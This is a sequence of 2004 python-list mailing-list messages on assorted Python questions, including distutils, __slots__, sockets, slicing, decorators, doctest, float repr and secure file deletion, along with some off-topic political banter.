> survive, i would be happy if someone knows or see something i dont ,
> because i realy like python,

Not just *someone* - On the basis of this rant I think the set of people 
who "someone knows or see something" you don't would include about 85% of 
the population!!

Now, quit trolling and go back to class!


From Mark.English at liffe.com  Thu Sep 23 05:43:41 2004
From: Mark.English at liffe.com (Mark English)
Date: Thu, 23 Sep 2004 10:43:41 +0100
Subject: Distutils and binaries without compilation
Message-ID: <40E605146701DE428FAF21286A97D3091480E3@wphexa02.corp.lh.int>

> Mark English wrote:
> > Who to believe...
> both. funny eh?
> 
> Depends of which source code the C or the python one
> did you not want to be included in the distribution.
> 
> Istvan.
I wany all python code to be included in the distribution, and all
c-extensions, but no c source code. Am I right in thinking that bdist
(and bdist_wininst) would include the c-extensions without the souce
code if I had configured the setup.py to include the Extensions objects
for the c-extensions (which really isn't feasible in this case). i.e. If
it were capable of doing an sdist then it could do a bdist ?

Mark


-----------------------------------------------------------------------
The information contained in this e-mail is confidential and solely 
for the intended addressee(s). Unauthorised reproduction, disclosure, 
modification, and/or distribution of this email may be unlawful. If you 
have received this email in error, please notify the sender immediately 
and delete it from your system. The views expressed in this message 
do not necessarily reflect those of LIFFE Holdings Plc or any of its subsidiary companies.
-----------------------------------------------------------------------



From daniel.dittmar at sap.corp  Thu Sep 16 05:57:41 2004
From: daniel.dittmar at sap.corp (Daniel Dittmar)
Date: Thu, 16 Sep 2004 11:57:41 +0200
Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change
In-Reply-To: <cibkl1$395$07$1@news.t-online.com>
References: <cibkl1$395$07$1@news.t-online.com>
Message-ID: <cibo2l$gq$1@news1.wdf.sap-ag.de>

Peter Otten wrote:
> Anthony Baxter asked me for a pronouncement on whether @decorator will
> change to use some other character instead; I kept this open as a

And if will be pronounced
- mouche (= french for beauty spot): if you like the syntax
- wart: if you don't

Daniel


From russblau at hotmail.com  Tue Sep  7 09:42:08 2004
From: russblau at hotmail.com (Russell Blau)
Date: Tue, 7 Sep 2004 09:42:08 -0400
Subject: SOS - property question
References: <mailman.2975.1094563441.5135.python-list@python.org>
Message-ID: <2q5s5gFrvnhpU1@uni-berlin.de>

"kepes.krisztian" <kepes.krisztian at peto.hu> wrote in message
news:mailman.2975.1094563441.5135.python-list at python.org...
>
> See that code:
> class A(object):
>       __slots__=('x','a','__v')
>       def __init__(self):
>           self.__v=0
...
> Another question: why the __slots__ is working only if this member is in
> body of  A ?
> Why isn't when it is in the __init__ procedure ?
>
>       def __init__(self):
>           self.__v=0
>           __slots__=('x','a','__v')
>

I can't answer your first question, but I can the second.  In the first
piece of code, you have defined __slots__ (correctly) as an attribute of the
class A.  In the second piece, you have created a local variable called
__slots__ within the __init__() method.  As soon as the __init__ method
returns, that local variable is gone!!  Changing it to self.__slots__
wouldn't work either, because that would define an attribute of the
*instance*, not of the *class*.  Slots and properties belong to the class,
not to its instances.


-- 
I don't actually read my hotmail account, but you can replace hotmail with
excite if you really want to reach me.




From mg.mailing-list at laposte.net  Thu Sep 30 03:56:52 2004
From: mg.mailing-list at laposte.net (mg)
Date: Thu, 30 Sep 2004 08:56:52 +0100
Subject: Constant variable and API
Message-ID: <415BBC44.4000205@laposte.net>

Hi everybody...

I am using Python API in order to create bindings.
So, in the init function of my module, I create constants :

   PyMODINIT_FUNC initMyModule( void )
   {
      PyObject* module = Py_InitModule3( "MyModule", 0, "this is my 
module" ) ;
      if( ! module ) return ;

      PyObject* dict = PyModule_GetDict( module ) ;
      if( ! dict ) return ;

      long value = 0 ; // for the example
      PyObject* py_value = PyInt_FromLong( value ) ;
      char* name = "NULL" ;
      PyDict_SetItemString( dict, name, py_value ) ;
      Py_DECREF( py_value ) ;
   }

So, my first "problem" is that my module variable is mutable; I can 
write the following instruction in python :

   >>> import MyModule
   >>> null = MyModule.NULL
   >>> print null
   0
   >>> MyModule.NULL = 99
   >>> null = MyModule.NULL
   >>> print null
   99

Then, my question is : how can I implement a constant variable from the 
API in order to the reaffectation (MyModule.NULL = 99) of my variable be 
impossible ?

Thanks for your help.
Mathieu


From michele.simionato at gmail.com  Wed Sep  1 22:29:21 2004
From: michele.simionato at gmail.com (Michele Simionato)
Date: 1 Sep 2004 19:29:21 -0700
Subject: txt2xls
References: <4edc17eb.0408310401.6abf866c@posting.google.com>
	<ch1qdd$jd0$1@online.de>
Message-ID: <4edc17eb.0409011829.6c7b5bc8@posting.google.com>

Benjamin Niemann <b.niemann at betternet.de> wrote in message news:<ch1qdd$jd0$1 at online.de>...
> Perhaps this could help you:
> http://sourceforge.net/projects/pyxlwriter/
> 

Thank you! The distribution contains an example that does exactly what I
want (with minor changes). I report here a snippet just for future
reference:



import pyXLWriter as xl

workbook = xl.Writer(xlsfilename)
worksheet = workbook.add_worksheet()


nrow = 0
for chunk in file(textfile).read().split("\n====\n"):
    row = chunk.split('\n\n') # Split on empty line
    for ncol, cell in enumerate(row):
        worksheet.write([nrow, ncol], cell.strip())
    nrow += 1

workbook.close() # needed


From heikowu at ceosg.de  Sun Sep 19 08:17:52 2004
From: heikowu at ceosg.de (Heiko Wundram)
Date: Sun, 19 Sep 2004 14:17:52 +0200
Subject: win32api.SetCursorPos() question
In-Reply-To: <10kp7cg7au8pn20@corp.supernews.com>
References: <10kol21ah3ulpcc@corp.supernews.com>
	<cihmfj$3r8$1@news5.zwoll1.ov.home.nl>
	<10kp7cg7au8pn20@corp.supernews.com>
Message-ID: <200409191417.52373.heikowu@ceosg.de>

Am Samstag, 18. September 2004 22:41 schrieb Gary Richardson:
> I tried that. It doesn't produce an error but no cursor appears.

I don't know much about the win32-api, but SetCursorPos sounds like a 
text-console command, not like something that has to do with windows. 
Funtions that operate on a window take a HWND (window handle), but this 
function doesn't, so this certainly sounds like text-console.

Now, why are you trying to position the cursor in a Tk Window anyway? The 
Tk-Window is no text console, it's just a plain window on the screen, and you 
can draw in the window using the normal Tk drawing primitives.

Maybe, if you post some more info on what you're trying to do, can we help you 
better...

Heiko.


From firstname at lastname.pr1v.n0  Mon Sep 13 08:37:01 2004
From: firstname at lastname.pr1v.n0 (Morten Reistad)
Date: Mon, 13 Sep 2004 14:37:01 +0200
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
	<du73c1mk70b.fsf@mozart.cc.tut.fi>
Message-ID: <d944ic.o5e.ln@via.reistad.priv.no>

In article <du73c1mk70b.fsf at mozart.cc.tut.fi>,
Ville Vainio  <ville at spammers.com> wrote:
>>>>>> "Grant" == Grant Edwards <grante at visi.com> writes:
>
>    Grant> shit about international agreements?  Bush thinks he's
>    Grant> entitled to declare anybody and everybody an "enemy
>    Grant> combatant" and lock them up in secret forever.  Add a
>    Grant> moustache and he'd make a pretty good Stalin.
>
>I'll raise you a Hitler, in a (probably vain) attempt to invoke the
>Godwin's law.

OK, I'll raise that with a Ghengis Khan and a Pol Pot. 

-- mrr



From narshe at gmail.com  Wed Sep 15 12:57:15 2004
From: narshe at gmail.com (Josh Close)
Date: Wed, 15 Sep 2004 11:57:15 -0500
Subject: socket programming
In-Reply-To: <1095266953.414872898f601@www-mail.usyd.edu.au>
References: <1095266953.414872898f601@www-mail.usyd.edu.au>
Message-ID: <4a0cafe20409150957369086fd@mail.gmail.com>

Use asynchore/asynchat modules. They will do all that stuff for you.

http://docs.python.org/lib/module-asyncore.html
http://docs.python.org/lib/module-asynchat.html

-Josh


On Thu, 16 Sep 2004 02:49:13 +1000, Ajay <abra9823 at mail.usyd.edu.au> wrote:
> hi!
> 
> on my client side, i have a socket that sends and then receives
> the code is
> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
> s.connect((PDA_ADDRESS, PDA_PORT))
> s.send("persona=")
> s.send(persona)
> s.send("\n")
> str = s.recv(1024)
> data=""
> while len(str) != 0:
>         data += str
>         str = s.recv(1024)
> print data
> 
> on my server side i create the serversocket, listen, get the client socket
> and the client socket receives the data as follows
> (clientsocket, address) = serversocket.accept()
> str = clientsocket.recv(256)
> data=""
> while len(str) != 0:
>         data += str
>         str = clientsocket.recv(256)
> 
> the problem is when my client finished sending and waits to receive, on the
> server side, it still stays in the while loop waiting to receive more data.
> 
> how do i stop that?
> 
> thanks
> 
> ----------------------------------------------------------------
> This message was sent using IMP, the Internet Messaging Program.
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From russblau at hotmail.com  Wed Sep  1 14:35:53 2004
From: russblau at hotmail.com (Russell Blau)
Date: Wed, 1 Sep 2004 14:35:53 -0400
Subject: negative stride list slices
References: <8a638f47.0409010941.7f1cbbad@posting.google.com>
	<r7oZc.6653$MR2.32885@news1.mts.net>
Message-ID: <2pmj4aFmofl2U1@uni-berlin.de>

"Reid Nichol" <rnichol_rrc at yahoo.com> wrote in message
news:r7oZc.6653$MR2.32885 at news1.mts.net...
> David Abrahams wrote:
> > Can anyone explain the logic behind the behavior of list slicing with
> > negative strides?  For example:
> >
> >   >>> print range(10)[:-3:-1]
> >   [9,8]
> >
> > I found this result very surprising, and would just like to see the
> > rules written down somewhere.
>
http://www.python.org/doc/current/tut/node5.html#SECTION005120000000000000000

You probably meant to reference the next section (that bookmark relates to
strings, the next one is lists), but in either case none of the examples in
the tutorial has yet been updated to deal with slices that include a
"stride" as a third parameter.


-- 
I don't actually read my hotmail account, but you can replace hotmail with
excite if you really want to reach me.




From apardon at forel.vub.ac.be  Fri Sep  3 03:24:30 2004
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 3 Sep 2004 07:24:30 GMT
Subject: allowing braces around suites
References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no>
	<cgn73r$scr$1@nntp0.reith.bbc.co.uk>
	<mailman.2515.1093608707.5135.python-list@python.org>
	<1rk6vkeo5d.fsf@rovereto.ifi.uio.no>
	<87hdqok9i6.fsf@sinken.local.csis.hku.hk>
	<1rfz68ely9.fsf@rovereto.ifi.uio.no>
	<876574k7du.fsf@sinken.local.csis.hku.hk>
	<1r3c28ejis.fsf@rovereto.ifi.uio.no>
	<zILXc.54863$xi6.26091@fe2.texas.rr.com>
	<1rllg0cb3m.fsf@rovereto.ifi.uio.no>
	<874qmovxna.fsf@sinken.local.csis.hku.hk>
	<slrncj8kv2.kp.apardon@trout.vub.ac.be>
	<slrncj8mvt.djm.sholden@flexal.cs.usyd.edu.au>
	<slrncj94hr.kp.apardon@trout.vub.ac.be>
	<du7oekrnwc8.fsf@amadeus.cc.tut.fi>
	<slrncjaq3l.kp.apardon@trout.vub.ac.be>
	<pan.2004.09.01.12.03.39.285610@jerf.org>
	<slrncje0vr.7or.apardon@rcpc42.vub.ac.be>
	<mailman.2788.1094157913.5135.python-list@python.org>
Message-ID: <slrncjg73r.7or.apardon@rcpc42.vub.ac.be>

Op 2004-09-02, Terry Reedy schreef <tjreedy at udel.edu>:
>
> "Antoon Pardon" <apardon at forel.vub.ac.be> wrote
>> My experience is that in such a situation, especially
>> if the local functions grows of you have more
>> local functions it can become hard to see where the body
>> of the global function begins. Just looking at the
>> deindentation is not enough because that could be the
>> result of a control suite that ended. Using an endmarker
>> like #def can make finding the beginning of the main
>> function a lot easier and so make the code more readable
>> and maintainable.
>
> This is what I might do, except maybe as #enddef
>
> and in another message
>> Python seems to do its best so that there is only one way to
>> do things. Python seems also to do its best force people
>> to write readable easily maintainable code. Since end markers
>> can be a tool in this and the only way to have only one way
>> to do this is if the language includes it, So why doesn't
>> python has them.
>
> Python does -- a dedent.

That is IMO not an endmarker, or at least not an explicit one.
If it was explicit you couldn't be confused between thinking
a certain code was dedented three or four times.

> For humans, this can be supplemented -- as you 
> suggested above -- with an ending comment, with specific format chosen by 
> the programmer.  The specific form is irrelevant to the interpreter and any 
> sensible form should be generally readable.

But I thought python wanted to provide as much as possible only
one correct way to do things.

> I agree with others that nesting can be reduced by extracting and naming 
> appropriate chunks of code, I agree with you that as an independent 
> programmer you have no obligation to do so.  But I do not see your choice 
> as a reason to add a third endmarker.  Not do I see a need to 'standardize' 
> comments used as such.

It is not about my choice. I'll get by whatever the outcome. Just as I
in general write proper indented code even in languages that don't
enforce it. I just find it odd that a language that tries to enforce
readablity does't include end markers, who IMO increase readability.

-- 
Antoon Pardon


From bokr at oz.net  Thu Sep 30 13:45:38 2004
From: bokr at oz.net (Bengt Richter)
Date: 30 Sep 2004 17:45:38 GMT
Subject: List comprehensions performance
References: <278de0e.0409291441.4ef0a859@posting.google.com>
	<IuP6d.4170$6f.1874@trndny02>
	<1gkxa0o.1l5eyr0128x6mbN%aleaxit@yahoo.com>
Message-ID: <cjhgo2$8o4$0$216.39.172.122@theriver.com>

On Thu, 30 Sep 2004 10:55:52 +0200, aleaxit at yahoo.com (Alex Martelli) wrote:

>Raymond Hettinger <vze4rx4y at verizon.net> wrote:
>
>> [Neuruss] What I'd like to know is if using list comprehensions would give
>> me a > performance advantage over traditional for loops or not.
>> 
>> For Py2.4, list comprehensions are much faster than equivalent for-loops.
>
>...but if the for loop is NOT equivalent (it doesn't accumulate results
>into a resulting list), it's still faster.  As I posted:
>
>kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' 'for x in
>xrange(999): f()'
>1000 loops, best of 3: 1.29e+03 usec per loop
>kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' '[f() for x in
>xrange(999)]'
>1000 loops, best of 3: 1.45e+03 usec per loop
>
>the LC is paying for the building of a list of 999 references to None,
>which the for loop easily avoids, so the for loop is much faster here.
>

What if you abuse the LC so it makes an empty list? E.g.,
    [None for x in xrange(999) if f() and False]

Not that I'm trying to promote LC abuse ;-)

Regards,
Bengt Richter


From lynn at garlic.com  Fri Sep  3 17:34:39 2004
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Fri, 03 Sep 2004 15:34:39 -0600
Subject: Xah Lee's Unixism
References: <10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
Message-ID: <uoeknqbo0.fsf@mail.comcast.net>

Alan Balmer <albalmer at att.net> writes:
> I'm not a fan of Mr Hatch, but blaming him for the shuttle disaster(s)
> is somewhat over the top. Why not blame President Bush? That's the
> popular thing nowadays.

i never made any referrence to people or personalities ... somebody
else did.

i just repeated the claims after the disaster about majority of the
other launch things were single section and barged to the launch site
(as well as the alternative booster proposals).

the issue of the gaskets is pretty well established as being required
for the sectional manufactoring ... predicated on the dimensional
restrictions on overland train transportation ... that was perceived
to have been a pretty unique ... when other major deliverables have
been built in single section and barged to launch site.

from a purely fucntional standpoint to somebody's leap with regard to
personabilities ... is somebody else's doing.

i would say that any argument about the personality issues
... shouldn't creap into purely straight forward issue about whether
all manufactoring assemblies require sectioning because of
transportation restrictions. lots of assemblies are made in single
sections and barged to florida. 

i can see taking issue with somebody (else) over their possible
personality assertions ... but that shouldn't also result in comments
about whether sectioning is required for all possible modes of
transportation.

-- 
Anne & Lynn Wheeler | http://www.garlic.com/~lynn/


From grante at visi.com  Tue Sep 14 00:59:54 2004
From: grante at visi.com (Grant Edwards)
Date: 14 Sep 2004 04:59:54 GMT
Subject: Using Python instead of DOS shell scripts
References: <6euck09q1d6itnnsfpog08lf61si6s68r0@4ax.com>
Message-ID: <41467aca$0$65562$a1866201@newsreader.visi.com>

On 2004-09-14, Jeff Wagner <JWagner at hotmail.com> wrote:

> I have a project of converting numerous DOS cmd shell scripts
> to Python. Is there a tutorial to getting started?

Yes.

Try looking at www.python.org.

Or maybe google for "python tutorial"?

-- 
Grant Edwards                   grante             Yow!  Is it FUN to be
                                  at               a MIDGET?
                               visi.com            


From db3l at fitlinxx.com  Thu Sep 30 13:59:32 2004
From: db3l at fitlinxx.com (David Bolen)
Date: 30 Sep 2004 13:59:32 -0400
Subject: Unexpected Python Behavior
References: <4e4a11f8.0409232355.6ba0468d@posting.google.com>
	<mailman.3834.1096015522.5135.python-list@python.org>
	<RImdnbz2hMm7v8ncRVn-qg@lmi.net>
	<cj18jn$47n$1@pegasus.csx.cam.ac.uk>
	<2srcl0poenac7hl39gmbmgvj4e0sp6fp38@4ax.com>
	<1gkpsyw.16zk21c1hoc4taN%aleaxit@yahoo.com>
	<2s1cetF1emgg9U1@uni-berlin.de>
Message-ID: <uk6ub4ozf.fsf@fitlinxx.com>

Greg Ewing <greg at cosc.canterbury.ac.nz> writes:

> Alex Martelli wrote:
> > I think it's in fact very nice syntax:
> > def f(x, cache=[]):
> >     if x in cache: ...
> 
> No, it's not, because it suggests that cache is
> intended to be an optional parameter, whereas it
> probably isn't.

Depends - I'd probably read that just as you say - it's an optional
parameter.  But why assume it probably isn't intended that way.  If I
want to use my own cache I pass it in, otherwise I expect the function
to have a default cache that it will use for me.

-- David


From steve at holdenweb.com  Thu Sep 16 10:38:42 2004
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 16 Sep 2004 10:38:42 -0400
Subject: Steve Holden: mail problem? (was Re: list/tuple to dict...)
In-Reply-To: <4149982B.1080406@engcorp.com>
References: <20040915163909.4234ce31@gypsy.pfortin.com>
	<1gk7a4p.9bjbrs173syhqN%aleaxit@yahoo.com>
	<Zmg2d.5818$Xc.5455@lakeread01> <4149982B.1080406@engcorp.com>
Message-ID: <1Dh2d.5820$Xc.5095@lakeread01>

phansen wrote:

> Steve Holden wrote:
> [some stuff]
> 
> Steve, I tried replying via email with a content-free
> response but got back a message that suggests your
> mail server might be having troubles.  The bounce
> comes from postmaster at your site, and says
> "User mailbox exceeds allowed size: sholden at mail.holdenweb.com"
> 
> Maybe you've got a "leave mail on server" checkbox ticked?
> 
> -Peter

I'm not actually using that address any more, having received over 
40,000 emails in a thirty-day period. I guess to keep the auto-responder 
working I need to flush the content periodically. Sigh. F*****g spammers.

I've changed my Reply-to address now - thanks!

regards
  Steve


From greg.lindstrom at novasyshealth.com  Wed Sep  8 16:22:14 2004
From: greg.lindstrom at novasyshealth.com (Greg Lindstrom)
Date: Wed, 8 Sep 2004 15:22:14 -0500
Subject: Unix Printing
Message-ID: <020601c495e1$87dd1610$054b12ac@D18SYX41>

Hello,

I am about to write a script that will allow the users on my HP-9000 box to
list the contents of a directory and choose a file to print.  I would then
like to show them a menu of printers configured on the box and allow them to
choose one (via the "old style" ASCII type menus).  Before I go write the
beast, do any of you know if anything like that exists?  In particular, can
I get a list of all of the printers configured on the HP-9000 running
HP-UNIX?

Thanks for your help,

--greg

Greg Lindstrom                                         (501) 975-4859
NovaSys Health                  greg.lindstrom at novasyshealth.com

"We are the music makers, and we are the dreamers of dreams"  W.W.



From me at privacy.net  Fri Sep 24 19:19:46 2004
From: me at privacy.net (Richard Hanson)
Date: Fri, 24 Sep 2004 16:19:46 -0700
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
	project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<89adnWTWC6JVscncRVn-uw@giganews.com>
	<enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com>
	<du7d60bbhah.fsf@amadeus.cc.tut.fi>
Message-ID: <os89l0h8pdm1goj0eqt0rfgup64modu5ao@4ax.com>

Ville Vainio wrote:

> >>>>> "Richard" == Richard Hanson <me at privacy.net> writes:
> 
>     Richard> undecidable things left unsaid for now. It is a commonly
>     Richard> accepted thesis that the universe is evolving following
>     Richard> some, possibly ultimately unknowable, immutable set of
>     Richard> laws. Humans *do* seem to do
> 
> Is it? For some reason or another, many seem to believe that quantum
> mechanics provides some blissfull exit from the immutable set of laws
> (and deterministic universe). It's a place where God throws dice every
> time a particle hits another.
> 
> Yes, it's absurd and entirely unpythonic, according to the law of "If
> the implementation is hard to explain, it's a bad idea."

Ahh... Yeah -- you're quite right about the "many." I was using
"commonly accepted" for a suitably restricted subset of the "many." 

;-)


Richard Hanson

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From abuse at 127.0.0.1  Sun Sep 19 12:45:31 2004
From: abuse at 127.0.0.1 (abuse)
Date: Sun, 19 Sep 2004 16:45:31 GMT
Subject: python on apache and windows tutorial
Message-ID: <LIi3d.121696$3l3.27091@attbi_s03>

does anyone know of one? im trying to install python on my server but im 
missing something (probally simple and obvious) a simple tutorial for a 
simple mind is what i seek. i didnt have much luck googling for one.


From tim.peters at gmail.com  Fri Sep  3 00:02:38 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Fri, 3 Sep 2004 00:02:38 -0400
Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged
In-Reply-To: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com>
References: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com>
Message-ID: <1f7befae04090221027b478b72@mail.gmail.com>

[Alex Martelli]
> ...
> There are a few known glitches David tells me about:
> """
> It seems to pass the tests (other than the scan ones noted)
> with the exception of a bunch gmpy_test_rnd.rand due to changing
> traceback output in 2.4.  I also had to remove the use of
> doctest.master since it looks like that's deprecated in 2.4 (it's no
> longer exported by the module's __all__).
> """

Ya, Edward Loper, Jim Fulton and I have made massive changes to
doctest for 2.4, refactoring it mercilessly.

doctest.master was a poorly documented attempt at starting to build a
framework for managing multiple tests, but as far as I knew it was
entirely unused -- all the heavy doctest users I knew about used
unittest frameworks, and so 2.4 has grown stronger ways of working
with unittest drivers instead.  It's also grown much saner "doctest
runner" kinds of classes as part of that, as opposed to the old
doctest.master global.  Under a hopeful belief that nobody was using
that anyway, I didn't gripe when Edward refactored it out of
existence.  This is the first time we've heard that anyone *was* using
it!

I suppose we could hack one back in, but I'd rather volunteer to
rewrite the gmpy tests to use the stronger 2.4 gimmicks ...


From http  Mon Sep  6 18:24:26 2004
From: http (Paul Rubin)
Date: 06 Sep 2004 15:24:26 -0700
Subject: Secure delete with python
References: <pan.2004.09.06.13.01.15.399532@REMOVE_mindless_ME.com>
	<chhoae$5pp$1@online.de> <chhoij$62d$1@online.de>
	<du74qmb9mzs.fsf@amadeus.cc.tut.fi>
Message-ID: <7xd60zf339.fsf@ruckus.brouhaha.com>

Ville Vainio <ville at spammers.com> writes:
>     Benjamin> and there is no guarantee that this actually overwrites
>     Benjamin> the old file. The filesystem may choose to write the new
>     Benjamin> content at another location of the disk, leaving the
>     Benjamin> original data untouched.
> 
> Seriously? What OSen are known for doing this? I'd had thought that if
> the file size is unchanged, the data is always written over the old
> data...

That's what log structured file systems do, for example.

> Also, when overwriting a file, it's better to do it several times,
> with alternating bit patterns and "syncing" the disk after each
> pass. Of course even that is not going to guarantee anything because
> it may just go to the hardware cache in the disk unit, but it's
> reasonable if you are overwriting lots of data at once.

It may never get written to the same sector of the disk as the
original file, even if the OS has tried to overwrite those sectors.
Disk drives themselves will sometimes remap sectors from one place to
another.


From jepler at unpythonic.net  Thu Sep  2 09:46:41 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Thu, 2 Sep 2004 08:46:41 -0500
Subject: Are decorators really that different from metaclasses...
In-Reply-To: <ch6umj$74i$1@sea.gmane.org>
References: <e69d3ed204082608183634bab@mail.gmail.com>
	<cglg26$ehg$3@sea.gmane.org>
	<e69d3ed2040827083448c31d45@mail.gmail.com>
	<mailman.2548.1093646396.5135.python-list@python.org>
	<cgosmb$ki0$0$216.39.172.122@theriver.com>
	<mailman.2562.1093697125.5135.python-list@python.org>
	<HBF.20040901iia9@bombur.uio.no> <ch5mkq$tb1$1@sea.gmane.org>
	<20040902024221.GA3626@unpythonic.net> <ch6umj$74i$1@sea.gmane.org>
Message-ID: <20040902134641.GE24397@unpythonic.net>

On Thu, Sep 02, 2004 at 07:03:50AM -0400, Paul Morrow wrote:
> >You also add a new constraint not expressible directly in the Grammar
> >file.
> 
> It would be easy to write a BNF expression that states that the optional 
> docstring is followed by 0+ assignments to magic variables.  So what are 
> you referring to here?

Please show me the Grammar rule you have in mind.  Here's the relevant
part of the current Grammar file, for reference:

funcdef: [decorators] 'def' NAME parameters ':' suite
suite: simple_stmt | NEWLINE INDENT stmt+ DEDENT
... (simple_stmt and stmt both include expr_stmt as an alternative)
expr_stmt: testlist (augassign testlist | ('=' testlist)*)

As far as thinking of "non-contrived" examples, the only code I've ever
written which explicitly used function attributes used non-underscored
names[1], so your syntax wouldn't help me.  You could use __* (class
private; but I wouldn't have wanted name-mangling) or _* (private) but
now you've reached areas where you clearly can't claim you'll affect no
existing code.

On the other hand, looking at examples where the names have no meaning
seems relevant to me, because it shows just how much complication you've
added, and how much currently legal code would have its meaning changed
under your proposal.

> Rewrite and you'll see...
> 
>      __author__ = 'Morrow'      # defines the container's author
>      def m():
>          __author__ = 'Smith'   # defines m's author
>          __doc__ = __author__   # defines m's docstring
>      print m.__doc__

It sounds like you're suggesting m.__doc__ will be 'Smith'.  Now I have to be confused that
    y = 3
    def n():
        __x__ = y
is the same as
    def m(): pass
    m.__x__ = y
but
    y = 3
    def n2():
        __x__ = __y__
is the same as
    m.__x__ = m.__y__
and will raise NameError when the body of the module containing n2
is executed.

But, oh well, you would "never write that", so it doesn't matter that
you can't give it sane semantics.

Jeff
[1] __*__
    System-defined names. These names are defined by the interpreter and
    it's implementation (including the standard library); applications
    should not expect to define additional names using this convention.
    The set of names of this class defined by Python may be extended in
    future versions. See section 3.3, ``Special method names.''
            -- http://docs.python.org/ref/id-classes.html
    
    My function attribute was not system-defined, but
    application-defined.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040902/d0f656c6/attachment.sig>

From aleaxit at yahoo.com  Fri Sep 24 07:14:00 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 24 Sep 2004 13:14:00 +0200
Subject: Why not FP for Money?
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
	<10l0lpt9n0n5k9c@news.supernews.com>
	<ad052e5c.0409211611.7e4411e@posting.google.com>
	<4t33l0h66h171hcb6riu97s55pj0860hdf@4ax.com>
	<mailman.3721.1095866067.5135.python-list@python.org>
	<cc887c1d.0409222103.388c40de@posting.google.com>
	<mailman.3775.1095939700.5135.python-list@python.org>
	<Xns956D83A8D1E7duncanrcpcouk@127.0.0.1>
	<mailman.3781.1095942759.5135.python-list@python.org>
	<civ705$4kl$1@panix1.panix.com>
	<mailman.3809.1095967700.5135.python-list@python.org>
	<1gkm1wt.1twm02s1cr3m7hN%aleaxit@yahoo.com>
	<7xk6ukw149.fsf@ruckus.brouhaha.com>
	<1gkm3u0.1s58vuhduaeN%aleaxit@yahoo.com>
	<7xpt4c3v3w.fsf@ruckus.brouhaha.com>
Message-ID: <1gkmc61.dymd0dboe1vfN%aleaxit@yahoo.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote:

> aleaxit at yahoo.com (Alex Martelli) writes:
> > yep, str(35.72) == '35.72'.
> 
> Hmm.
> 
>     >>> 35.72
>     35.719999999999999
> 
> I wonder why str(35.72) is different from repr(35.72).

Because they serve different purposes.  As the Tutorial (appendix B)
puts it, "you'll see the result you expect in the end if you simply
round the display of your final results to the number of decimal digits
you expect.  str() usually suffices".  repr is such [when feasible] that
x==eval(repr(x)), str on the other hand is expected to present a nice
display for humans, fudging things a bit for the purpose.


Alex


From adalke at mindspring.com  Thu Sep 16 16:55:24 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 16 Sep 2004 20:55:24 GMT
Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change
In-Reply-To: <pan.2004.09.17.12.13.11.143566@jerf.org>
References: <cibkl1$395$07$1@news.t-online.com>
	<pan.2004.09.17.12.13.11.143566@jerf.org>
Message-ID: <05n2d.2048$0i5.1135@newsread3.news.pas.earthlink.net>

Jeremy Bowers wrote:
> What possible counter-arguments could be brought to bear?
> 
> All-the-keywords-should-be-Unicode-Chinese-ly yrs,

Traditional or simplified?

  :)

				Andrew
				dalke at dalkescientific.com


From cbfalconer at yahoo.com  Sat Sep  4 12:41:49 2004
From: cbfalconer at yahoo.com (CBFalconer)
Date: Sat, 04 Sep 2004 16:41:49 GMT
Subject: Xah Lee's Unixism
References: <ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<usm9zqc4h.fsf@mail.comcast.net>
	<enqhj0ls347lcgc4brjvcjqrtnqvsfencd@4ax.com>
	<ud612rket.fsf@mail.comcast.net> <u3c1yrka7.fsf@mail.comcast.net>
	<4139ae57$0$19717$61fed72c@news.rcn.com>
Message-ID: <4139C335.3444372C@yahoo.com>

jmfbahciv at aol.com wrote:
> Anne & Lynn Wheeler <lynn at garlic.com> wrote:
>> Anne & Lynn Wheeler <lynn at garlic.com> writes:
>>
>>> if you choose your road routes carefully enuf ... you can miss
>>> a lot of the problems that you would run into moving by train.
>>> we had one route where i was on the peak of the house and had
>>> to grab wires over the side .... lift the wires up to clear the
>>> peak and walk the wires back as the house moved under.
>>
